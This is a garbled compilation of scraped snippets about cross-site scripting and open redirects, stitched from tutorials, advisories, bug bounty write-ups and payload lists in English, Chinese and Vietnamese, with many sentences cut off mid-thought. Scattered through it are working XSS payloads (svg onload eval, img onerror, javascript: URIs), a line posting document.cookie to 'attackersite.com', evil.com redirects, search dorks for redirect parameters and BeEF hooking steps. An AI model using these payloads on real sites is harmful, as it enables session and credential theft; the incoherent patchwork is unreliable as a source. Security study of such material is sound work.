XSS in DOM Events It's not XSS, just an open redirect, but it'll still get you a bug bounty most likely. capabilities对象后,将结果通过ExternalInterface传给页面的javascript。 浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展,有着不同的检测方法。 Reflected XSS on the other hand is called reflected as there is some kind of reflection of parameter values onto the response. Description: When editing a private message, a redirect parameter may be submitted as well. Session Payload: The stored XSS on the other side is achieved by injecting a GET parameter called post_logout_redirect_uri, which is part of the URL that is sent after the Sitefinity user logs out. Delivering the XSS payload. All questions are welcome. Site Takedown & Countermeasures · Report Suspicious URL. Repeat the last HTTP request with the received state parameter, and read the redirect target URL’s CSRF token. This article is intended to be a simple checklist for ASP. Be sure to check out the awesome FAQ. when User visits MalloryPage he opens your crafted URL with Custom Payload, website redirects him to final page with both Private Info and Custom Payload, chrome XSS Auditor detects XSS because Custom Payload was found in source code, redirects him again to about:blank, which is easily accessible from opener's domain - now you got document The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. There is a simple login form which accepts a username and a password. For more information, check out the OWASP XSS Prevention Cheat Sheet. . This is from the very handy project PayloadsAllTheThings. For reflected XSS, the payload should not be stored persistently on the server. The only difference is that the payload would launch when anyone navigates to the guestbook page. 0 redirection bypass, here you go OAuth is an open standard for authorization, commonly used as a way for Internet users to log into third party websites using their Microsoft, Google, Facebook, Twitter, One Network etc. Alternative Approach to Automate Detection of DOM-XSS Vulnerabili-ties Abstract: This thesis proposes an alternative methodology to detect DOM-XSS by building-up on the existing approach used by web scanners in detecting general XSS. Look for hidden redirect parameters, for e. Feel free to read on google more about this things. DOM-based XSS — DOM-based XSS occurs when an attack payload is executed as a result of modifying the web page’s document object model (DOM) in the victim user The result is our persistent XSS payload is now just displayed text: The same goes for our non-persistent XSS payload: What about Document Object Model (DOM) based XSS? To understand DOM based XSS you really need to have (at the least) a basic understanding of the DOM or Document Object Model. g. If you have control over a URL parameter and it's not a redirect, you should start 13 Jun 2018 Afterwards,I encoded %0a to %250a, then modified the payload and injected at the end of url and it works like a charm. com url and then loads the image. Browsing . 9. Give users the option to disable client-side scripts. angular is a package that lets you write client-side web applications as if you had a smarter browser. It makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers. Now let’s watch it in action: By going to this URL, the XSS will trigger without any interaction. Doing this actually places the XSS payload into the copy/paste buffer. Using the same tricks we used to confuse the WAF, we were able to defeat the auditor. This script navigates the user's browser to a different URL, triggering an  Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web on a web browser, then content from any URL with the same (1) URI scheme, (2) host name, and (3) port number will share . Even Same Origin Policy can’t control all client side application from running JavaScript. SyntaxHighlighter Evolved currently has around 40,000+ active installations. A month ago i made an XSS challenge called Sh*t it’s a WAF. In this type of attack, the attacker has to deliver the payload to the victim. To execute a successful XSS using BeEF, I navigated to the stored XSS tab on DVWA. The weaponised XSS payload has not been supplied with this advisory, however, it is trivial to create. Use an Auto-Escaping Template System and Implement Content Security Policy . The following are examples of some known attack vectors, that all create the same alert pop up that reads "XSS". or. there are no security alerts. Issue a malicious GET request that has an XSS payload as part of the URL. 在XSS Payload中,可以在Flash的ActionScript中读取system. is_safe_url()``) considered some numeric URLs "safe" when they shouldn't be, aka an open redirect vulnerability. Worse still, many of the listings that exploited these vulnerabilities remained on eBay's website for more than a month before they XSS Payload – Presented in 3 different ways Non-persistent (often called reflected XSS) A non-persistent XSS is when you are able to inject code and the server returns it back to you, unsanitized. 18 - Cross-Site Scripting (XSS) Description Any page that causes a 404 or 302 response, will be output within the Redirect Log page without any validation or output encoding, including the URL querystring, which could contain an XSS payload. According to OWASP security standards, this code is vulnerable to XSS attacks. So i extracted the forget password request and crafted a GET based URL request with a simple XSS payload as the callback value. It is basically a payload list based XSS Scanner and XSS Exploitation kit. Cross-site scripting (XSS) attacks involved the injection of malicious code into trusted websites. The Cross-site Scripting (XSS) Vulnerability. com” domain. fcgi login action. A place to ask security related questions. Prevent DOM-based XSS. Still in the XSS Attack series, now we will continue from the last tutorial about finding simple XSS vulnerability to Hacking Using BeeF XSS Framework. Anything that can be used to alter users browsing experience, or take over the injected browser. al Sites vulnerable to XSS can be used to phish Googlebot How to protect your site from being used in XSS exploits. 5 respectively. If the XSS stats are to be believed, you’ll probably be surprised by the outcome. The way we go about enumerating XSS is first to properly map the application and understand its inputs. It turns out that XSS on website hosted at the root level can lead to very bad things much worse than I originally thought: Universal XSS; a single XSS vulnerability that can perform cross-site communication to any other domain. They're a special case of code injection attack The payload could steal the victim user’s session credentials from their cookie, deface the pay or redirect the user to a malicious site. 0 and the Road to XSS: • If not, deny any redirect_uri containing URL fragment request and parses the JSON payload The fix for the second vulnerability was still vulnerable to a third vulnerability, using the very same payload as in the first report,” Särud says. However, XSS will execute on Visting that Specific link with specific XSS Payload only ie. Using a payload with script tags allowed us to retrieve the window location (<script>document. http://www. To have some good results you can use the following list with automatic scripts, software or for manually pentesting. Many applications perform on-site redirects from one URL to another and place the hostname from the request's Host header into the redirect URL. On each payload execution, the targets will be automatically redirected to a second domain that sends them to a third destination URL based on the type of device the visitor uses by checking the This allows an attacker to inject arbitrary HTML attributes into the resulting string. (since the XSS is on login screen) We can think about Here is our final payload(and the video at The security check for these redirects (namely ``django. B. In Reflected Cross Site Scripting, the malicious payload has to be send as a part of URL and user should be tricked to visit that URL. The URL parameters were reflected server side, but 6. To browse and spider This article is part of a series on the OWASP Top 10 for ASP. Whether it be Javascript, HTML or XML. Ask Question use an existing image and use the onload attribute for the payload: paste this URL into Cross-Site Scripting (XSS) - Some Examples A reflected XSS vulnerability is when ‘code’ is injected into a website in such a way so as to deliver a payload or to produce a result on the end users browser. Impact: XSS exploits pose a significant threat to a Web application, its users and user data. Use HTTPOnly cookie flag. It’s a first draft. location);</script>). asp webpage. If the resource does not exist (404 code) or redirection was performed (302 code) it will appear in the ‘Redirect Log’ page on the back-end. It is not stored and is non-persistent as the name says. So how is an XSS payload delivered to an unsuspecting victim? JS For Pentesters Task 3. Open new window/tab and login as a backend WordPress user (admin). com url that will redirect to an arbitrary location. In XSS attacks, malicious content is delivered to users using JavaScript. The self-XSS executes and you can see the secret cookie value was sent back to the attacker. Definition Cross-site scripting (XSS) is a security bug that can affect websites. Attackers can modify the redirect_strategy to a dom-XSS payload results in the execution of client-side code with the context of Tinder in the user browser. com - nomanAli181 Lets Build Payload . onload. The attack payload is delivered and executed via a single request and response. Or check out Getting Started in Information Security from the /r/netsec wiki Cross-Site Scripting (abbreviated as XSS) is a class of security vulnerability whereby an attacker manages to use a website to deliver a potentially malicious JavaScript payload to an end user. redirect_strategy is “INJECTIONA” and scheme_redirect is “INJECTIONB” from the code above. js script via a stored XSS vector • Man-In-The-Middle Attacks - Injecting BeEF hook via MITM Web Application Penetration Testing Notes Give file XSS payload as name. Stored (Persistent) Cross-site Scripting. This attack appear to be exploitable via Victim's browser must follow a URL supplied by the attacker. What is XSS? Cross-site scripting (XSS) is both the name of the most common vulnerability in web applications and the exploitation method performed against it. After a lot of request I make my first Bangla video. Such attacks can directly attack the websites with which they can affect the XSS vulnerability. XSS vulnerabilities are very common in web applications. Level 1. swf?url=https://github. Burp should have a JSON payload being POST'd to /commerce/user/update. After a 5 months research, I built a XSS payload database of over 350+ XSS payloads and implemented a tool in VB. To execute a XSS payload, a variety of an attack vectors may be necessary to overcome insufficient escaping or validation. can also be used to execute an XSS This payload works for Firefox but it gets blocked in Chrome because of XSS auditor. One of the traditional uses of XSS is a hacker stealing session cookies in order to impersonate another user. You can select vectors by the event, tag or browser and a proof of I saw the needed alert box and started to make a report about dull reflected XSS. The important thing to consider here that the HTTP response does not change but the client side code in the page behaves differently because of the malicious code injected Reflected XSS is the most common type of cross-site scripting vulnerability. hash>#<script>alert(1)</script> <?php header(“Access-Control-Allow-Origin: *”); ?> Or to speed this up we could distribute the attack by creating a worm that used some javascript to force users into re-posting to many different IDs thus spreading the payload. URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values. XSS-Payload-List or Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. Let’s quickly get onto the topic! So, the two bugs were following: Open URL Redirection; Cross Site Scripting; Open URL Redirection: Redirect the victim to a URL of the attackers choice. Shells, local storage leaks and corruption, forced downloads, CSRF, token theft and more ! Back to the future! Just like the '90s, good things have to come to an end. A full library of tutorials, advanced papers and presentations we found quite valuable. As you see here, we now break the current script, and will insert our own image with an onerror-attribute with our payload in it. Text is parsed from the #hash part of a URL which does not get attached to the request sent to the server. Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers easy-redirect-manager 2. You can manually fill those fields using this table. OWASP Xenotix XSS Exploit Framework is a penetration testing tool to detect and exploit XSS vulnerabilities in Web Applications. however, if you encode the payload to javascript:alert('xss') in the  CWE-601: URL Redirection to Untrusted Site ('Open Redirect') . possibility of a new user friendly tool with a payload list to test against XSS in a web application. • Open Redirect - Redirect victims automatically to attacker controlled server hosting BeeF • Reflected XSS - Send victim a URL that executes hook. An issue was discovered in Open-AudIT Professional 2. So let’s first explain how the WAF was working and how it could be bypassed. Even though it seems like a harmless action to let a user decide to which page he wants to be redirected, such technique if exploited can have a serious A reflected XSS (or also called a non-persistent XSS attack) is a specific type of XSS whose malicious script bounces off of another website to the victim’s browser. Cross-site scripting (XSS) flaws are classified into While doing a security audit of the plugins and themes we run on wordfence. . Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a Referer spoofing and defeating the XSS filter (Edge/IE) September 12, 2016 According to Wikipedia , “ Referer spoofing is the sending of incorrect referer information in an HTTP request in order to prevent a website from obtaining accurate data on the identity of the web page previously visited by the user. There are also variants of XSS attacks where the attacker lures the user to visit a URL using social engineering and the payload is part of the link that the user clicks. Here is a compiled list of Cross-Site Scripting (XSS) payloads, 298 in total, from various sites. 8. Then I got to remember about the xss cheatsheet which was by Somdev , here is the link https Stored XSS¶ This the most dangerous cross-site scripting attack. domain);</script> Then i save it, and back to my Dashboard and tada! XSS Executing success. The inbuilt Encoder will allow encoding into different forms to bypass various filters and Web Application Firewalls. The payload involved redirecting all visitors to hilaryclinton. The XSS payload starts with a space character (i. Defensive measures can be put in place at various layers including the template files (Razor or ASPx Forms), the Request Validation feature and the client-side (browser) filters. The attacker can redirect the victim to any URL of his choice, it could be their own site filled with ads or just whatever they like. accounts without exposing their password. What is XSS, what can I accomplish with it? XSS is common in search bars and comment boxes. Instead of messing around with XSS Filter bypasses, I modified my malicious server using the following StackOverflow answer. and sometimes a URL can be designed so that it’s fired XSS attack payload A New Take on XSS/XSRF/Redirect-Phishing Defense from Black Hat USA 2009 Security researcher Dylan Ayrey detailed last week a new web-based attack named XSSJacking that combines three other techniques — Clickjacking, Pastejacking, and Self-XSS — to steal data from As old as web browsers themselves, cross-site scripting (XSS) has been an ongoing issue in the security world. Reflected or Non-Persistent XSS: In This type of XSS, the attacker needs to share a link with Victim and that Will cause Malicious JavaScript to execute. gov open redirect iqClickTrk. Another method of delivery in the reflective XSS scenario would be to basically make your own URL redirect / shortening system, which bypasses using a service like bit. attempts that call alert(), prompt(), or confirm() to prove that an xss payload was executed by the Figure 4: A URL shortener redirects to a bitcoin mining domain . XSS 重要的是根据输出来判断过滤器的规则,F12,构造自己的XSS Payload,分割,关闭括号,错误后判断过滤规则,寻找绕过 1 The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser. With the ability to control the “redirctedUrl” parameter, we could redirect the victim to ‘ut2004stats. <svg onload=eval(location. Contribute to cujanovic/Open-Redirect-Payloads development by creating an account on GitHub. cookie=true");}</STYLE><A CLASS=XSS></A> . If present in your website, this bug can allow an attacker to add their own malicious JavaScript code onto the HTML pages displayed to your users. If a site is vulnerable to this attack, I could craft a URL that would grab the contents of the page’s cookies and send them to anyone I desire. example. However, it has the same impact as that of a persistent XSS. In Reflected XSS, an attacker sends the victim a link to the target application through email, social media, etc. The URL at the time of XSS looks like the following and the screen-shot is also given. com/file. cookie) in "URL" parameter for the vulnerable redirect. The response will be a 302 redirect to the following URL. CyberArk Labs discovered a cross-site scripting vulnerability that allows an attacker to run JavaScript code through e-mail messages. This XSS cheat sheet contains many vectors that can help you bypass WAFs and filters. 1. With a little analysis, i found that the callback parameter is vulnerable to Cross Site Scripting vulnerability. Mine details about the victims browser Information: A lot of people asked us regarding our cross site scripting pentest sheet for a fuzzer or own scripts. 1. php) - that allows attacker to easily plant the XSS payload. We found that the page was being accessed from localhost; and by replacing “localhost” with the actual hosting domain name, the page containing the XSS vulnerability was able to be viewed directly. 16 and later contains a CWE-601: URL Redirection to Untrusted Site ('Open Redirect') vulnerability in The "referer" parameter of the wwsympa. 9 Apr 2019 Today I want to share with you official senate. Second, victims in a stored XSS attack don’t have to take any action other than visiting the affected website. com’, site that contained the XSS payload: What is Damn Vulnerable Web App (DVWA)? Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. 1, it is vulnerable to a persistent as well as reflected cross site scripting vulnerability as it allows users to enter URLs containing the JavaScript protocol, which an attacker can exploit to steal cookies, inject JavaScript keylogger, or bypass CSRF protection. epicgames. In some cases, an information passed in one of the HTTP headers of the application is not correctly sanitized and it’s outputted somewhere in the requested page or in another end, giving rise to a XSS situation. After discovering this vulnerability, CyberArk Labs alerted Microsoft in January 2019 This script URL is what will be used in a later step. When I opened URL with a payload I didn’t see alert box, even reflection of «name» parameter disappeared. (By the way if you use regexp avoid $^, luke) user clicks on the XSS inurl:url=https inurl:url=http inurl:u=https inurl:u=http inurl:redirect?https inurl:redirect?http inurl:redirect=https inurl:redirect=http inurl:link=http Greetings, this is my first blog post. com/48WdZR6L - 666_lines_of_XSS_vectors. I have run into instances within an application where XSS payloads were being heavily filtered, however I was able to smuggle a payload into a event handler via a parameter. The event handler was using location. com/redirect. XSS allows hackers to run their malicious JavaScript in the victim’s browser which can hijack user sessions, redirect user to a “non-friendly” site, spread malware, create false requests, steal user identity and sensitive data such as: credentials, passwords, credit card numbers, etc. WordPress 5. 10. An XSS payload may consist of HTML, JavaScript or other content that will be rendered by the browser. XSS vulnerabilities Add the parent_categrory_rn parameter with payload to the url, select 2 or more items to compare en press the compare button. The most common illustration of this type of XSS is a web page containing commentinig functionality. The parameter ref is clearly visible in the URL and anyone can edit it. March 10th, 2013: Developer replies, creates public issue on GitHub to track the fix. This will be the proof that the stored XSS payload actually The attacker creates malicious code and makes it the payload (e. , the query string of an A element, the URL of a redirect, the contents of a FORM element) of a trigger document (e. Master the art of Cross Site Scripting. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page. Another type of XSS attack is DOM-based, where the vulnerability exists in the client-side scripts that the site/app always provides to visitors. For OAuth and Single Sign On implementations Private Info is code/token/signed_request. In this case, we will use the BEEF XSS Framework to exploit the XSS. Therefore, when sending an XSS attack payload, encoded in UTF-7, the payload will return in the response without being altered. Yet after two decades the While the aforementioned mechanisms (URL redirection script, 404 NOT FOUND) escape common characters used for XSS, such as <> (triangular parenthesis) and apostrophes, it fails to handle hazardous UTF-7 encoded payloads. The examples above are great illustrations, but they’re non-persistent in that the app relied on us entering malicious strings into input boxes and URL parameters. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly. In order to exploit this vulnerability, a malicious user would need to trick a victim into visiting the URL with the XSS payload. Even sophisticated client-side XSS filters can be bypassed easily. The Redirect method sends the following explicit header, where URL is the value passed to the method, as shown in the following code: Hello guys, I just wanted to blog some of my Oauth 2. Once there, I simply injected the malicious payload into the message box and clicked Sign Guestbook. There’s one problem. This involved abusing the null-byte attack and using tabs. In HTML Injection you can Exploit Dom-Based XSS with bellow payload: <img src='some-link' onerror=alert(1)>. net MVC developers or security auditors. x needs a space in the data URI payload, while 4. Continuing on from Part 1 XSS: Intro, we will go over how we enumerate XSS. Reflected Cross Site Scripting (XSS) Attacks or redirect the user DOM based XSS "is an XSS attack wherein the attack payload is executed as a result of http-stored-xss. As a result whenever the user clicks anywhere on the attacker's page, the XSS payload will be executed within the iframe. March 6th, 2013: Initial report to module maintainer via email. x doesn’t. Open Redirect Payloads. Source: MITRE View Analysis Description Now, i want to exploit using Metasploit and BeEF (Browser Exploitation). If the attacker’s payload is immediately returned to the user, for example when a user clicks a link the payload fires – then this is known as Reflected Cross-site Scripting. Comment out the remaining statement (this is the characters normally used to close off the keyword string and terminate the statement). In examining the code diff, it appears that until now, if you could jam an XSS payload into a media upload filename, this would result in an XSS. Sanitize HTML Markup with a Library Designed for the Job. A lot of the payloads will only work if certain conditions are met, however this list should give a pretty good indication of whether or not an application is vulnerable List of advanced XSS payloads. Manish Bhandarkar ツ mumbai, maharashtra, India ๖ۣۜ¢ I am independent Security researcher™๖ۣۜ¢ ☆follow me @leosecure ☆ View my complete profile In XSS attacks, the victim is the user and not the application. Make sure "src" attributes can never contain non-HTTP-URLs to prevent XSS or Internet Explorer supports multiple "url()" values all of which can contain payload. So I finally started looking at it and trying my best to find something, Got one P3 but it went duplicate :( But then I got an endpoint that was having simple CORS miss-configuration and the endpoint was giving user details like email address, age, gender, DOB, etc in response 在分析源代码时可以看到,利用前面URL中的参数redirect提交的值现在已经反射到了源代码中。这很奇怪,因为该请求是在没有任何重定向参数值的情况下向登录页面发出的。 在分析源代码过程中还可以看到,redirect参数的值被存储到了cookie redirect中。 The solution was a Remote Code Execution, however it expected a precise payload ending for the flag to be displayed: ;ls. google. It is also given that the form is vulnerable to XSS attacks via the URL parameter. Documentation . This attack differs from reflected and persistent XSS attacks in that the site/app doesn’t directly serve up the malicious script to the target’s browser. A basic example; Sometimes the XSS payload can persist; Your server won't . Covert Redirection takes advantage of third-party clients susceptible to XSS or Open Redirect attacks. By inserting standard URL encoded angular brackets, the application simply leaves them encoded. A1 – SQL Injection A6 – Sensitive Data Exposure (Coming Soon) A2 – Broken Authentication and Session Management A7 – Insufficient Attack Protection (Coming Soon) A3 – Cross-Site Scripting (XSS) […] XSS Because of wrong Content-type Header in Internshala. js script • Stored XSS - Embed hook. This can XSS from Open URL - If it's in a JS variable. LINKS AND RESOURCES Cookie Stealing Cross-site scripting in HTTP headers attack is an XSS attack which uses HTTP header fields as entry points for injecting the payload, and depends on improper return of user controlled HTTP header values in HTTP responses. I'm using backtrack 5. The challenge was a bit tricky but not hard. Exploiting POST Method XSS Silently is sent in the body as part of the HTTP request rather than as part of the URL). Reflected XSS script passing through URL how to make it work and what are the preconditions for it to work? Is the payload for DOM based XSS defined to originate It's worth noting that an XSS payload can be delivered in different ways; for example, it could be in a parameter of an HTTP POST request, as part of the URL, or even within the web browser cookie This callback function name is being passed as a GET parameter. Disclosure Timeline. A Tale of Breaking SAP's SuccessFactors's XSS Filter is SAP's SuccessFactors's XSS filter. Gradually we'd compromise every single JotForm user. For reflected XSS, the attack payload is delivered and executed in a single request and response. Open apps > Exploitations Tools > Social Engineering Tools > BEEF XSS Framework > BeEF-ng The easiest way of showing an XSS attack executing is using a simple alert box as a client side script pay load. We’ve also seen a reflected XSS vulnerability in this challenge, for no reason. This variant of XSS is notoriously easy to miss using standard detection techniques and relatively easy to manifest in JS heavy applications. STEP 2: Constructing the URL. After coming back I started looking for more articles,blogs. By using UTF encoded characters though this is made possible. This vulnerability was disclosed by Anshul Jain. Upload the following 5 files to a hosting website substituting evil. The plugin will handle redirections as expected. com And i thought that let's find Open Redirect today. 2. When adding Callback-urls for an application, there's no validation for the Name: Totally Legit App Redirect URI: javascript://%0aalert(document. 3 Jan 2019 Open redirect is a security flaw in an app or a web page that causes it open redirect payloads on next parameter ie nextUrl=http://evil. fieldvalues The script will try to fill every field found in the form but that may fail due to fields' restrictions. Therefore, the attacker's payload script must be part of the request sent to the web server and reflected back so the HTTP response includes the payload from the HTTP request. that can result in Open redirection and reflected XSS via data URIs. NET and that is Xenotix XSS Exploit Framework. Explaining Cross-Site Scripting. domain) and also converts a bit into a reflected XSS (since you cannot hide the payload). Web scanners general approach is to inject payload in the web page inputs and check the received HTML response inurl:url=https inurl:url=http inurl:u=https inurl:u=http inurl:redirect?https inurl:redirect?http inurl:redirect=https inurl:redirect=http inurl:link=http A True XSS That Needs To Be False Posted by Mike Shema June 18, 2013 June 17, 2013 1 Comment on A True XSS That Needs To Be False It is on occasion necessary to persuade a developer that an HTML injection vuln capitulates to exploitation notwithstanding the presence within of a redirect that conducts the browser away from the exploit’s While this may not fool your more savvy users, even the most experienced white knight can be tricked by the use of services like link shorteners, which obfuscate the underlying URL. com is a legit URL. The DOM is a bit outside our scope today, but I 1. hash. 7. When I paste into the “repeat your email” it is actually inside the iframe which contains the TARGET site. jpg Signal Messenger Payloads  Submit a new feedback with the following payload that sends us the admin's cookie. cookie, "post"); . URL redirection, also known as URL forwarding, is a technique to give a page, a form or a whole Web application, more than one URL address. The next payload I tested was a URL at the time of redirect looks The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. It makes exploitation as easy as tricking a user to click on a link. Proof-of-Concept: I used the very simple payload : JavaScript:alert(document. Edit: However, if there are any "/" characters after the domain in hardcoded_url_beginning it looks like this payload won't work. com suffers from a cross site scripting vulnerability Skype XSS Explained. Author Posts August 2, 2012 at 7:13 pm #7746 eyenit0 Participant Hey everyone, So, I’ve found an XSS vuln that I’d like to exploit via a CSRF vuln, but I’m having trouble with encoding in the CSRF. However, this method does send other HTTP headers set by this page indicated by the original URL to the client. 18. we can just do a meta-refresh redirect and 2. 11 Sep 2012 Cross-Site scripting or XSS is a weakness that is caused by improper victim machine;; Redirection to other websites, to facilitate malware delivery; post_to_url("http://attackersite. With this attack, the threat actor can steal cookies, session id, username or other sensitive information redirect an innocent victim to a malicious website, thus compromising the user. =. Title of the Vulnerability: Open URL Redirect and Reflected Cross-site Scripting ( XSS); Vulnerability Class: Security Misconfiguration and Cross-site Scripting  18 Apr 2016 So pass a variable pid with any XSS payload through the URL hence executing The same website is vulnerable to URL redirection as well. 666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin. But. Stored XSS (Persistent or Type I) Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. XSS through a meta tag is highly dependent on the browser used by the target victim. Tấn công Cross-Site Scripting (XSS) là một dạng tấn công kiểu chèn thêm đoạn mã đặc biệt mà đoạn mã này sẽ được thực thi ở website bị lỗi. XSS được thực hiện khi attacker thực hiện chèn nó thường là vào các form thực thi ở browser, tới các người dùng khác nhau. With this knowledge in hand, I figured a simple script payload would give me an alert on the results page. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing “><s”%2b”cript>alert(/xss-by-xsssr/)</script> works only on chrome "><details ontoggle=confirm(1)> body{xss:expression(alert("XSS by Shawar Khan"))} Cross-site scripting (XSS) is a script injection attack using which an attacker can execute malicious JavaScript in another user's browser. So let’s chain these three minor issues (self-XSS and two CSRF’s) together. How the WAF works ? The idea here is not to show that there is an XSS bug in Intel website rather to show execution of XSS payloads depends on the application design and there is always an unexpected behavior. com/fork. Return the CSRF token to the client side. I hope you can XSS - Capture all Mouse Clicks and Redirect: JS for Pentesters task 6 write up Oct 25, 2014 • jsp , javascript , securitytube , xss Till now, we have covered several challenge write up from Pentester Academy but this is the first time we are going to make use of an event handler to get our task done. XSS (Cross Site Today I will be teaching you a very common vulnerability called XSS/Cross Site Scripting. The payload could steal the victim user’s session credentials from their cookie, deface the pay or redirect the user to a malicious site. 7 Jan 2016 Open redirection is listed in the OWASP Top 10 for 2013 and 2010 (10th position to a different domain when there are users' input requiring a URL value. Clicking on a malicious link (URL) planted in a trusted web application initiates the hacking. In this post I will be detailing some vulnerabilities I have identified after doing some quick tests on several banks. Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Here are the XSS  14 Jun 2017 are vulnerable to an XSS payload that is written directly in the root URL or almost ANY other get parameter, thus making almost all the websites  A list of useful payloads and bypass for Web Application Security and By visiting this url, if we get redirected to evil-website. XSS can be used to hijack victim’s session and thereby gaining complete access to his/her user account. DOM Based Cross Site Scripting. I will notify the Google Chrome team so that they can take a look into it. In the gif below, we input the payload, navigated to the page that contains the name form from the Reflected XSS attack scenario and then went back to the guestbook. API Vulnerabilites and their mitigation in Apigee Edge (XSS) Details: In XSS an attacker injects a client side code to the remote server. This topic contains 5 replies, has 4 voices, and was last updated by MaXe 6 years, 11 months ago. I do not have time to investigate what caused the XSS payload to bypass Chrome's XSS auditor. So due to the misconfiguration we are able to make someone log into our dropbox account and view our files. SPIP is a content management system written in PHP. We know that the id parameter is vulnerable to XSS, so we enter the payload there. S - <script> </script> tags are not executed as the x-xss-protection header is enabled. For more info on OAuth security, check out @homakov’s awesome guide. The final working payload is: Lesson Learned - Try different encodings ‘XSS’ is also known as ‘CSS’ – Cross Site Scripting. Payload: A payload is a piece of code that we used to exploit a vulnerability. test. Contribute to pgaijin66/XSS-Payloads development by creating an account on GitHub. More info This video is only for educational purpose. choose URL which redirects automatically(or with some user interaction) to another URL, and also carries both Private Info and Custom Payload. This link has a script embedded within it which executes when visiting the target site. As I have control over the malicious server, it is simple enough for me to set X-XSS-Protection to 0, and bypass the filter. that a determined attacker can find an appropriate payload for a specific context. Now, There are 3 Types of XSS 1. net Core. com or  Client Side URL Redirect Vulnerability . An automatic response body containing the redirect URL as a link is generated. With the displayed script redirect_strategy is “INJECTIONA” and scheme_redirect is “INJECTIONB” was found. The bug, however, was no longer pure DOM-based XSS (where the payload is executed by modifying the DOM environment in the victim’s browser). following URL with the redirect XSS attacks are one level above the http protocol, on the application logic level that includes html, xml, js, css, and the server side code that deals with them. The Note that XSS prevention is not as simple as just escaping those characters. redirection by injecting the below payload. Using HTTP request smuggling to turn an on-site redirect into an open redirect. Cross-site Scripting, also known as XSS, is a way of bypassing the SOP concept in a vulnerable web application. The contact form does not properly sanitize the URL field, which allows XSS injection when Alternatively, filter can also be bypassed by 302 redirect. With a timer event and a connected redirect it's possible to execute  9 Jan 2018 This payload can be a simple redirection outside of the site, or even That XSS was “universal” – it was executing from any page of the site, because . It is possible to inject a malicious payload in the redirect_url parameter to the /login URI to trigger an open redirect. An Open Redirection is when a web application or server uses an unvalidated user-submitted link to redirect the user to a given website or page. A script can be created that visits thousands of websites, exploits a vulnerability on each site and drops a stored XSS payload. You just smuggle a request containing the XSS payload and the next user's and place the hostname from the request's Host header into the redirect URL. Reflected XSS vulnerabilities are delivered to a victim via various means such as an email causing the user to click on a malicious URL Fraudsters are still exploiting eBay's persistent cross-site scripting vulnerabilities to steal account credentials, years after a series of similar attacks took place. XSS Payload List - Cross Site Scripting Vulnerability Payload List Reviewed by Zion3R on 6:23 PM Rating: 5 Tags Cross Site Scripting X Dom Based X Reflected XSS Vulnerabilities X Self XSS X XSS X XSS Attacks X XSS Injection X XSS Payload List X XSS Payloads X XSS scanner XSS cookie stealing without redirecting to another page. This what the redirect url looked liked Redirect the browser to my website along with all the URL encoded cookies that the browser can access (anything not flagged as HttpOnly). The exploitation framework will help the penetration testers to create proof of concept attacks on vulnerable web applications. We can then inject almost any type of programming language into the website. Chaining Minor Bugs A URL redirect at mcafee. A stored XSS attack is much more dangerous for two reasons. http. Lately, it has been the malicious act used to spread malware, deface websites, and phish I then goto the EXPLOIT site and copy the text in the email field. It is a very common vulnerability found in Web Applications, Cross Site Scripting (XSS) allows the attacker to INSERT malicious code, There are many types of XSS attacks, I will mention 3 of the most used. and the xss payload “alert(1)” is executed. : /redirect?url={payload}&next={payload}&redirect Hackerone report 158434: Open Redirect & XSS on Shopify, $1,000; Hackerone report  29 Mar 2019 A good way to convert URL redirection to XSS is to use a JavaScript resource This payload was passed in the referrer parameter in URL. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. DOM-Based XSS. We use SyntaxHighlighter here at Wordfence for code samples within blog posts. 3 no longer allows that attack vector. Stored Cross-Site Scripting • Attacker posts payload to a database or other data store • Victim uses the same site and visits a page where the payload is sent back to the victim • The payload is rendered and executed in the browser • Commonly found in – Message boards (horizontal privilege escalation) – User management systems A fully weaponised XSS exploit was created that used the WordPress Theme Editor to insert a PHP backdoor into a WordPress site. Plus how to exploit it. By just setting the payload in the redirect parameter, the payload didn’t fire directly. com. This attack is more or less self-explanatory. A "data:text/html;base64," payload can be used with JavaScript code. I’m going to explain the circumstances of this vulnerability and how it can be exploited. and Adobe should disable or give corresponding security warnings when URL redirect,The world can be more beautiful Piwik allows & logs any kind of URI in its tracker ' url ' parameter, including potentially malicious data: and javascript: URIs It is possible to inject these kind of URIs by manually calling piwik tracker (piwik. The payload is slightly different through the vulnerable branches, 6. php", document. These docs should help understand most concepts behind the techniques used in current and past payloads. com with your own webhosting site URL (explanations beneath), and you may also have to change the payload to bypass any security filters that may be in place: 00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg. The basic authentication box is the default of IIS after kerberos and ntlm were not applicable, and it is part of the basic http protocol. OAuth 2. 5) The Universal Payload. See below for links to other articles in the series. In version 3. For this reason, it is also sometimes referred to as first-order XSS. assign to redirect the user, and the value of a user supplied parameter was present within the URL. 28 Jun 2018 XSS{background-image:url("javascript:document. However, we soon found that it was possible to manipulate the redirect URL and direct the user to any web page within the “*. While there is already a XSS filter in place, it is possible to mitigate it by using a data URI with a base64 encoded payload. Why? I leave this up to you to figure out. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address. As per OWASP: This vulnerability could be used as part of a phishing scam by redirecting users to a malicious site. XSS in Shortcode Previews. Redirect You to Malicious Websites. 6 Nov 2010 deface 